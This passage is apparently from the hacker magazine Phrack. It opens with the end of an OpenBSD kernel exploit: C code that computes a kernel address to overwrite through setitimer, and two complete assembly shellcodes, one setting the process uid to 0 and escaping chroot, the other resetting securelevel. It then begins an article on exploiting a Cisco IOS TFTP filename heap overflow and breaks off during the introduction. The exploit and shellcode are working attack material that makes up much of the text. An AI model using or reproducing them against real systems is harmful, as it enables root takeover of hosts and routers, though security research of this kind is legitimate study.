printf("using u_cred, we will have perminent euid=0\n"); goto out; } val.it_interval.tv_sec = 0x00; cred = (long) ((char *) kp.kp_proc.p_cred+4); stat = (long) kp.kp_proc.p_stats; printf("calculating which for u_cred:\n"); which = cred - stat - 0x90; rem = ((u_long)which%0x10); printf("which: %.8x reminder: %x\n", which, rem); switch(rem) { case 0x8: case 0x4: printf("too bad rem is fucked!\nlet me know about this!!\n"); exit(0); case 0x0: break; case 0xc: which += 0x10; } printf("\nusing p_cred instead of u_cred, only the new process " "will be priviliged\n"); out: which = which >> 4; printf("which: %.8x\n", which); printf("addr to overwrite: %.8x\n", stat + 0x90 + (which * 0x10)); } <--> ./ex_kernel/ex_setitimer_obsd.c <++> ./ex_kernel/kernel_sc.s # kernel level shellcode # noir@olympos.org | noir@uberhax0r.net # 2002 .text .align 2,0x90 .globl _main .type _main , @function _main: call moo .long 0x12345678 .long 0xdeadcafe .long 0xbeefdead nop nop nop moo: pop %edi mov (%edi),%ecx # parent's proc addr on ecx # update p_cred->p_ruid mov 0x10(%ecx),%ebx # ebx = p_cred xor %eax,%eax # eax = 0 mov %eax,0x4(%ebx) # p_ruid = 0 # update pc_ucred->cr_uid mov (%ebx),%edx # edx = pc_ucred mov %eax,0x4(%edx) # cr_uid = 0 # update p_fd->fd_rdir to break chroot() mov 0x14(%ecx),%edx # edx = p_fd mov %eax,0xc(%edx) # p_fd->fd_rdir = 0 lea 0x68(%esp),%ebp # set ebp to normal # find where to return: sidt technique sidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region in eax mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shr $0x10,%ecx sal $0x10,%ecx sal $0x10,%edx shr $0x10,%edx or %ecx,%edx # edx = ecx | edx; _Xosyscall_end # search for Xosyscall_end+XXX: call _syscall instruction xor %ecx,%ecx up: inc %ecx movb (%edx,%ecx),%bl cmpb $0xe8,%bl jne up lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall inc %ecx mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp # search for _syscall+0xXXX: call *%eax # and return to where we were supposed to! # _syscall+0x240: ff # _syscall+0x241: d0 0x240,0x241 on obsd3.1 mov %ecx,%edi # ecx is addr of _syscall movw $0xd0ff,%ax cld mov $0xffffffff,%ecx repnz scasw #scan (%edi++) for %ax #return to *%edi xor %eax,%eax #set up the return value to Success ;) push %edi ret <--> ./ex_kernel/kernel_sc.s <++> ./ex_kernel/secl_sc.s # securelevel reset shellcode # noir@olympos.org | noir@uberhax0r.net # 2002 .text .align 2,0x90 .globl _main .type _main , @function _main: call moo .long 0x12345678 moo: pop %edi mov (%edi),%ebx # address of securelevel xor %eax,%eax # eax = 0 mov %eax,(%ebx) # securelevel = 0 lea 0x68(%esp),%ebp # set ebp to normal # find where to return: sidt technique sidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region in eax mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shr $0x10,%ecx sal $0x10,%ecx sal $0x10,%edx shr $0x10,%edx or %ecx,%edx # edx = ecx | edx; _Xosyscall_end # search for Xosyscall_end+XXX: call _syscall instruction xor %ecx,%ecx up: inc %ecx movb (%edx,%ecx),%bl cmpb $0xe8,%bl jne up lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall inc %ecx mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp # search for _syscall+0xXXX: call *%eax # and return to where we were supposed to! # _syscall+0x240: ff # _syscall+0x241: d0 OBSD3.1 mov %ecx,%edi # ecx is addr of _syscall movw $0xd0ff,%ax cld mov $0xffffffff,%ecx repnz scasw #scan (%edi++) for %ax #return to *%edi xor %eax,%eax #set up the return value to Success ;) push %edi ret <--> ./ex_kernel/secl_sc.s |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x07 of 0x10 |=-------------=[ Burning the bridge: Cisco IOS exploits ]=--------------=| |=-----------------------------------------------------------------------=| |=----------------=[ FX of Phenoelit ]=----------------=| --[ Contents 1 - Introduction and Limitations 2 - Identification of an overflow 3 - IOS memory layout sniplets 4 - A free() exploit materializes 5 - Writing (shell)code for Cisco 6 - Everything not covered in 1-5 --[ 1 - Introduction and Limitations This article is to introduce the reader into the fun land of exploiting a routing device made by Cisco Systems. It is not the final word on this toppic and merely reflects our research results. According to Cisco Systems, around 85% of all software issues in IOS are the direct or indirect result of memory corruptions. By the time of this writing, yours truly is not aware of one single case, where overflowing something in Cisco IOS led to a direct overwrite of a return address. Although there are things like stacks in IOS, it seems to be very uncommon for IOS coders to use local function buffers. Therefore, most (if not all) overflows we will encounter are some way or anyother heap based. As a fellow researcher used to say, bugs are not an unlimited resource. Especially overflow bugs in Cisco IOS are fairly rare and not easily compared to each other. This article will therefore limit the discussion to one particular bug: the Cisco IOS TFTP server filename overflow. When using your router as a TFTP server for files in the flash filesystem, a TFTP GET request with a long (700 characters) filename will cause the router to crash. This happens in all IOS versions from 11.1 to 11.3. The reader might argue the point that this is no longer a widely used branch, but yours truly asks you to bare with him to the end of this article. The research results and methods presented here were collected during inspection and exploitation attempts using the already mentioned TFTP bug. By the time of this writing, other bugs are researched and different approaches are tested, but the here presented procedure is still seen as the most promising for widespread use. This translates to: use your favorite private Cisco IOS overflow and try it. --[ 2 - Identification of an overflow While the reader is probably used to identify stack smashing in a split second on a commonly used operating system, he might have difficulties identifying an overflow in IOS. As yours truly already mentioned, most overflows are heap based. There are two different ways in IOS to identify a heap overflow when it happens. Being connected to the console, the reader might see output like this: 01:14:16: %SYS-3-OVERRUN: Block overrun at 2C01E14 (red zone 41414141) -Traceback= 80CCC46 80CE776 80